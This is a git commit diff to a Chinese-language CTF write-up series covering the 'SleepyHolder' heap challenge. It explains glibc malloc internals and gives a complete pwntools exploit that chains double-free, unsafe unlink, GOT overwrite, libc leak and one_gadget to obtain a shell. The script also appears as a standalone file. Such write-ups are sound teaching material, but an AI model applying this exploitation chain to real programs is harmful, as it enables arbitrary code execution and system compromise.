finish 6.1.22

This commit is contained in:
firmianay 2018-05-04 18:48:23 +08:00
parent 9652ac99b1
commit 38adff96ae
4 changed files with 341 additions and 18 deletions

View File

@ -391,19 +391,29 @@ Which Secret do you want to wipe?
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
[...]
/* update statistics */
int new = atomic_exchange_and_add (&mp_.n_mmaps, 1) + 1;
atomic_max (&mp_.max_n_mmaps, new);
unsigned long sum;
sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
atomic_max (&mp_.max_mmapped_mem, sum);
[...]
```
此时将使用 `mmap()` 来分配内存。然而这样得到的内存将与初始堆(由`brk()`分配,位于`.bss`段附近)的位置相距很远,难以利用。所以我们要想办法使用 `brk()` 来分配,好消息是由于性能的关系,在释放由 `mmap()` 分配的 chunk 时,会动态调整阀值 `mp_.mmap_threshold` 来避免碎片化,使得下一次的分配时使用 `brk()`
```
void
__libc_free (void *mem)
{
[...]
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* see if the dynamic brk/mmap threshold needs adjusting */
if (!mp_.no_dyn_threshold
&& p->size > mp_.mmap_threshold
&& p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
return;
}
```
此时将使用 `mmap()` 来分配内存。然而这样得到的内存将与初始堆(由`brk()`分配,位于`.bss`段附近)的位置相距很远,难以利用。所以我们要想办法使用 `brk()` 来分配,好消息是由于性能的关系,在该函数结束时更新了 `mp_.max_n_mmaps`,使得下一次的分配将使得判断条件不成立,即使用 `brk()`
#### unsafe unlink
```python
@ -412,7 +422,7 @@ def unlink():
wipe(1)
keep(2) # big
wipe(1) # double free
keep(1) # small
keep(1) # small # overlapping
keep(3)
wipe(3)
keep(3) # huge
@ -427,6 +437,7 @@ def unlink():
wipe(3) # unsafe unlink
```
因为在分配 large chunk 的时候glibc 首先会调用函数 `malloc_consolidate()` 来清除 fastbin 中的块。所以 big secret 被放到了原 small secret 的位置,当再次分配 small secret 的时候就造成了堆块重叠。
首先制造 double free
```
@ -470,7 +481,7 @@ gdb-peda$ x/6gx 0x00602098
#### leak libc
```python
def leak():
global system_addr
global one_gadget
payload = "A" * 8
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
@ -483,10 +494,10 @@ def leak():
wipe(2)
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
one_gadget = libc_base + 0x4525a
log.info("libc base: 0x%x" % libc_base)
log.info("system address: 0x%x" % system_addr)
log.info("one_gadget address: 0x%x" % one_gadget)
```
修改 big_ptr 指向 `free@got.plt`small_ptr 指向 big_ptr
@ -569,7 +580,7 @@ def unlink():
wipe(1)
keep(2) # big
wipe(1) # double free
keep(1) # small
keep(1) # small # overlapping
keep(3)
wipe(3)
keep(3) # huge

View File

@ -68,7 +68,7 @@ Which Secret do you want to wipe?
2. Big secret
1
```
这一题看起来和上一题 Secret_Holder 差不多。同样是 small、big、huge 三种 secret不同的是这里的 huge secret 是不可修改和删除的。另外在程序开始时会 sleep 几秒钟,不知道对利用有没有帮助。
这一题看起来和上一题 Secret_Holder 差不多。同样是 small、big、huge 三种 secret不同的是这里的 huge secret 是不可修改和删除的。
## 题目解析
@ -357,6 +357,244 @@ Which Secret do you want to wipe?
## 漏洞利用
总结一下我们知道的东西:
- small secret: small chunk, 40 bytes
- small_ptr: 0x006020d0
- small_flag: 0x006020e0
- big secret: large chunk, 4000 bytes
- big_ptr: 0x006020c0
- big_flag: 0x006020d8
- huge secret: large chunk, 400000 bytes
- huge_ptr: 0x006020c8
- huge_flag: 0x006020dc
漏洞:
- double-free在 free chunk 的位置 calloc 另一个 chunk即可再次 free 这个 chunk
- use-after-free由于 double-freecalloc 出来的那个 chunk 被认为是 free 的,但可以使用
看到这里该题与上一题的差别很明显了,就是我们没有办法再通过 `keep(huge) -> wipe(huge) -> keep(huge)` 来利用 `brk()` 分配内存,制造 unsafe unlink。
然后我们又在 `_int_malloc()` 中发现了另一个东西:
```c
static void*
_int_malloc(mstate av, size_t bytes)
{
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else {
idx = largebin_index(nb);
if (have_fastchunks(av))
malloc_consolidate(av);
}
```
当需求 chunk 是一个 large chunk 时glibc 会将把 fastbins 中的 chunk 移除,设置 `PREV_INUSE` 为 0合并 free chunk然后放到 unsorted bin。接着 glibc 尝试从 unsorted bin 中取出 chunk由于大小不合适这些 chunk 又被放到 small bin 中:
```c
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
```
这时就可以再次释放 small secret 而不触发 double-free 的检测。
那么为什么一定要将 small secret 放进 small bin 呢?因为当 chunk 被放进 small bin 时,会相应的修改 next chunk即big secret的 chunk header设置prev_size`PREV_INUSE`置0而当 chunk 被放进 fastbins 时是不会有这样的操作的。接下来我们需要通过 double-free 将 small secret 再次放进 fastbins这时small secret同时存在于fastbins和small bin中再从 fastbins 中取出 small secret原因和上面类似从 fastbins 中取出 chunk 不会设置 next chunk 的 chunk header。这样我们才能正确地触发 unlink。
#### unsafe unlink
```python
def unlink():
keep(1, "AAAA") # small
keep(2, "AAAA") # big
wipe(1) # put small into fastbins
keep(3, "AAAA") # huge # put small into small bin
wipe(1) # double free # put small into fastbins
payload = p64(0) + p64(0x21) # fake header
payload += p64(small_ptr - 0x18) # fake fd
payload += p64(small_ptr - 0x10) # fake bk
payload += p64(0x20) # fake prev_size
keep(1, payload)
wipe(2) # unsafe unlink
```
制造 double-free
```
gdb-peda$ x/5gx 0x006020c0
0x6020c0: 0x0000000000603560 0x00007ffff7f92010
0x6020d0: 0x0000000000603530 0x0000000100000001
0x6020e0: 0x0000000000000000
gdb-peda$ x/10gx 0x00603530-0x10
0x603520: 0x0000000000000000 0x0000000000000031 <-- small
0x603530: 0x0000000000000000 0x00007ffff7dd1b98
0x603540: 0x0000000000000000 0x0000000000000000
0x603550: 0x0000000000000030 0x0000000000000fb0 <-- big <-- PREV_INUSE
0x603560: 0x0000000041414141 0x0000000000000000
```
上面的过程一方面通过 malloc_consolidate 设置了 big secret 的 PREV_INUSE另一方面通过 double-free 将 small secret 放进 fastbins。
在 small secret 中布置上一个 fake chunk
```
gdb-peda$ x/5gx 0x006020c0
0x6020c0: 0x0000000000603560 0x00007ffff7f92010
0x6020d0: 0x0000000000603530 0x0000000100000001
0x6020e0: 0x0000000000000001
gdb-peda$ x/10gx 0x00603530-0x10
0x603520: 0x0000000000000000 0x0000000000000031
0x603530: 0x0000000000000000 0x0000000000000021 <-- fake chunk
0x603540: 0x00000000006020b8 0x00000000006020c0 <-- fd, bk pointer
0x603550: 0x0000000000000020 0x0000000000000fb0 <-- big <-- fake prev_size
0x603560: 0x0000000041414141 0x0000000000000000
gdb-peda$ x/gx 0x006020b8 + 0x18
0x6020d0: 0x0000000000603530 <-- P->fd->bk = P
gdb-peda$ x/gx 0x006020c0 + 0x10
0x6020d0: 0x0000000000603530 <-- P->bk->fd = P
```
释放 big secret 即可触发 unsafe unlink
```
gdb-peda$ x/6gx 0x006020b8
0x6020b8: 0x0000000000000000 0x0000000000603560
0x6020c8: 0x00007ffff7f92010 0x00000000006020b8 <-- fake chunk ptr
0x6020d8: 0x0000000100000000 0x0000000000000001
```
于是我们就获得了修改 `.bss` 段的能力。
后面的过程就和上一题完全一样了。
#### leak libc
```python
def leak():
global one_gadget
payload = "A" * 8
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
payload += "A" * 8
payload += p64(big_ptr) # small_ptr -> big_ptr
payload += p32(1) # big_flag
renew(1, payload)
renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
wipe(2)
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + 0x4525a
log.info("libc base: 0x%x" % libc_base)
log.info("one_gadget address: 0x%x" % one_gadget)
```
#### pwn
```python
def pwn():
payload = "A" * 0x10
payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
renew(1, payload)
renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
io.interactive()
```
开启 ASLRBingo!!!
```
$ python exp.py
[+] Starting local process './SleepyHolder': pid 8352
[*] libc base: 0x7ffbcd987000
[*] one_gadget address: 0x7ffbcd9cc25a
[*] Switching to interactive mode
$ whoami
firmy
```
#### exploit
完整的 exp 如下:
```python
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./SleepyHolder'], env={'LD_PRELOAD':'./libc.so.6'})
elf = ELF('SleepyHolder')
libc = ELF('libc.so.6')
small_ptr = 0x006020d0
big_ptr = 0x006020c0
def keep(idx, content):
io.sendlineafter("Renew secret\n", '1')
io.sendlineafter("Big secret\n", str(idx))
io.sendafter("secret: \n", content)
def wipe(idx):
io.sendlineafter("Renew secret\n", '2')
io.sendlineafter("Big secret\n", str(idx))
def renew(idx, content):
io.sendlineafter("Renew secret\n", '3')
io.sendlineafter("Big secret\n", str(idx))
io.sendafter("secret: \n", content)
def unlink():
keep(1, "AAAA") # small
keep(2, "AAAA") # big
wipe(1) # put small into fastbins
keep(3, "AAAA") # huge # put small into small bin
wipe(1) # double free # put small into fastbins
payload = p64(0) + p64(0x21) # fake header
payload += p64(small_ptr - 0x18) # fake fd
payload += p64(small_ptr - 0x10) # fake bk
payload += p64(0x20) # fake prev_size
keep(1, payload)
wipe(2) # unsafe unlink
def leak():
global one_gadget
payload = "A" * 8
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
payload += "A" * 8
payload += p64(big_ptr) # small_ptr -> big_ptr
payload += p32(1) # big_flag
renew(1, payload)
renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
wipe(2)
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + 0x4525a
log.info("libc base: 0x%x" % libc_base)
log.info("one_gadget address: 0x%x" % one_gadget)
def pwn():
payload = "A" * 0x10
payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
renew(1, payload)
renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
io.interactive()
if __name__ == "__main__":
unlink()
leak()
pwn()
```
## 参考资料
- https://ctftime.org/task/4812

View File

@ -30,7 +30,7 @@ def unlink():
wipe(1)
keep(2) # big
wipe(1) # double free
keep(1) # small
keep(1) # small # overlapping
keep(3)
wipe(3)
keep(3) # huge

View File

@ -0,0 +1,74 @@
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./SleepyHolder'], env={'LD_PRELOAD':'./libc.so.6'})
elf = ELF('SleepyHolder')
libc = ELF('libc.so.6')
small_ptr = 0x006020d0
big_ptr = 0x006020c0
def keep(idx, content):
io.sendlineafter("Renew secret\n", '1')
io.sendlineafter("Big secret\n", str(idx))
io.sendafter("secret: \n", content)
def wipe(idx):
io.sendlineafter("Renew secret\n", '2')
io.sendlineafter("Big secret\n", str(idx))
def renew(idx, content):
io.sendlineafter("Renew secret\n", '3')
io.sendlineafter("Big secret\n", str(idx))
io.sendafter("secret: \n", content)
def unlink():
keep(1, "AAAA") # small
keep(2, "AAAA") # big
wipe(1) # put small into fastbins
keep(3, "AAAA") # huge # put small into small bin
wipe(1) # double free # put small into fastbins
payload = p64(0) + p64(0x21) # fake header
payload += p64(small_ptr - 0x18) # fake fd
payload += p64(small_ptr - 0x10) # fake bk
payload += p64(0x20) # fake prev_size
keep(1, payload)
wipe(2) # unsafe unlink
def leak():
global one_gadget
payload = "A" * 8
payload += p64(elf.got['free']) # big_ptr -> free@got.plt
payload += "A" * 8
payload += p64(big_ptr) # small_ptr -> big_ptr
payload += p32(1) # big_flag
renew(1, payload)
renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt
renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt
wipe(2)
puts_addr = u64(io.recvline()[:6] + "\x00\x00")
libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + 0x4525a
log.info("libc base: 0x%x" % libc_base)
log.info("one_gadget address: 0x%x" % one_gadget)
def pwn():
payload = "A" * 0x10
payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
renew(1, payload)
renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget
io.interactive()
if __name__ == "__main__":
unlink()
leak()
pwn()